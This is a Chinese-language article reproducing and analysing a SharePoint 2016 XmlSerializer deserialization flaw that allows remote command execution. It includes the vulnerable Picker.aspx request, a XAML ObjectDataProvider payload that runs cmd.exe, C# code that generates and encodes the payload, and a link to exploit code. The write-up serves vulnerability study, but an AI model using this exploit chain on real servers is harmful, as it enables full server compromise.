本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com
漏洞简介
该漏洞可造成 Windows 系统服务器的远程命令执行,有可能完全控制服务器。攻击者可将精心构造的请求通过 ItemPickerWebForm 控件传入后端 EntityInstanceIdEncoder.DecodeEntityInstanceId(encodedId) 方法中,因为方法没有对传入的 encodedId 进行任何处理,也没有对 XmlSerializer 构造函数的类型参数进行限制,可直接通过 XmlSerializer 反序列化,造成命令执行。
利用条件
要利用该漏洞,需要授权访问 sharepoint 提供的管理网页,授权账户可以是一个域账户。
漏洞复现
复现环境:windows server 2016、windows sharepoint 2016(no KB4462211)
首先登录到目标机器上面来
地址栏输入:
http://<Your SharePoint Domin Or IP>:<Your SharePoint Port>/_layouts/15/Picker.aspx?PickerDialogType=<Your Microsoft.SharePoint.WebControls.ItemPickerDialog's assembly qualified name>
注意,PickerDialogType 参数需要自行去进行查找,如输入错误,则会像下面这样报错:
查看方法可以使用下面的 C# 代码进行输出:
System.Console.WriteLine(typeof(Microsoft.SharePoint.WebControls.ItemPickerDialog).AssemblyQualifiedName.ToString())
或者自己搭建相同环境,使用反编译工具,反编译 Sharepoint.dll 来查看,默认位置位于:
C:\Program Files\Common Files\micrsoft shared\Web Server Extensions\16\ISAPI
所以我们的参数值如下:
Microsoft.SharePoint.WebControls.ItemPickerDialog,+Microsoft.SharePoint,+Version=16.0.0.0,+Culture=neutral,+PublicKeyToken=71e9bce111e9429c
注意,并不是所有情况下都会像刚刚我网页中那样爆出来相关信息,大多数时候还是需要手工查看这些信息的。
加上正确的参数再进行访问,即可看到正确的页面。
该页面为 webform 页面,通过查看源代码即可查看到漏洞的加载点:
<input var e=event; if(!e) e=window.event; if(!browseris.safari && e.keyCode==13) { document.getElementById('ctl00_PlaceHolderDialogBodySection_ctl07_queryButton').click(); return false; }" alwaysenablesilent="true" style="=t;, true, "&quo
由于其机制问题,我们需要使用 bp 抓包,然后手工将该触发点加入到数据包中。而 sharepoint 一般使用 ntlm 认证,默认的 burp 的方法是无法成功重放数据包的,此时我们可以参考该文章来进行设置:https://blog.csdn.net/hackerie/article/details/107080336 即在如下图所示的地方添加你的 hash:
本地复现如果图方便的话,也可以自行将 sharepoint 的认证改成基础认证。然后就是抓包了,并把刚刚所说的字段改成自己的 payload
目标机器成功运行 calc
漏洞分析
然后我们反编译 SharePoint.dll 搜索入口 ItemPickerDialog,这就是程序的入口点了
中间的过程就不再一一的跟进了,直接跳到后面的序列化部分:
这个函数就是最后负责处理我们传入的参数的,而其中有 XmlSerializer 构造函数的类型参数可控。
其这一步关键在于 Type.GetType,程序必须通过 Type 类的静态方法 GetType。然后我们看一下这个利用链。变量 typename 通过 text.Substring(0, num2); 获取值最后交由 Deserialize 反序列化。
漏洞利用
根据之前 360 的代码审计文章可知,在 XmlSerializer 中我们可以使用通用的 payload 进行攻击,即一个 XAML:
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" Method>
<ObjectDataProvider.MethodParameters>
<System:String>cmd.exe</System:String>
<System:String>/c calc.exe</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
生成 payload 的代码如下:
static void Main(string[] args)
{
object[] objs = new object[1];
objs[0] = Payload("<Path To Xml File>");
string payload = Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.EncodeEntityInstanceId(objs);
System.Console.WriteLine(payload);
System.Console.ReadKey();
}
public static object Payload(string filepath)
{
ExpandedWrapper<XamlReader, ObjectDataProvider> eobj = new ExpandedWrapper<XamlReader, ObjectDataProvider>();
eobj.ProjectedProperty0 = new ObjectDataProvider();
eobj.ProjectedProperty0.ObjectInstance = new XamlReader();
eobj.ProjectedProperty0.MethodName = "Parse";
eobj.ProjectedProperty0.MethodParameters.Add(File.ReadAllText(filepath));
return eobj;
}
最后再使用,因为毕竟最后参数是传到这里有过一次解码操作
Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.EncodeEntityInstanceId
进行编码,来获得一个可以直接在 burp 上面发送的 payload。
最后编译好的代码如下:https://github.com/lengjibo/OffenSiveCSharp/tree/master/CVE-2019-0604
生成 payload 时,会在本地执行一次,望周知。无马,可自行分析。
参考文章:
https://x3fwy.bitcron.com/post/sharepoint-rce-explained
https://blog.csdn.net/weixin_33721344/article/details/94688536
https://k8gege.org/p/e896a7d1.html
▼
更多精彩推荐,请关注我们
▼